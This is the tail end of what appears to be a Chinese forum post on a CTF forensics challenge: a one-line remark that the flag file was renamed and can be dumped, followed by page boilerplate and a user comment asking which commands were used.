Finally we will find that the program has renamed the flag file name of a path.So We find the corresponding file name and dump it to get the flag.

<> (function bindTaskListEvent() { var taskListItemCheckboxes = document.body.getElementsByClassName('task-list-item-checkbox') for (var i = 0; i < taskListItemCheckboxes.length; i++) { var checkbox = taskListItemCheckboxes[i] var li = checkbox.parentElement if (li.tagName !== 'LI') li = li.parentElement if (li.tagName === 'LI') { li.classList.add('task-list-item') } } }())
请先登录
+1 已点过赞
1
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (1)

spirit-q 2018-04-19 15:43:46
请问simple_forensics里是用什么命令发现和提取桌面的文件的呢
回复
请先登录 0 +1 已点过赞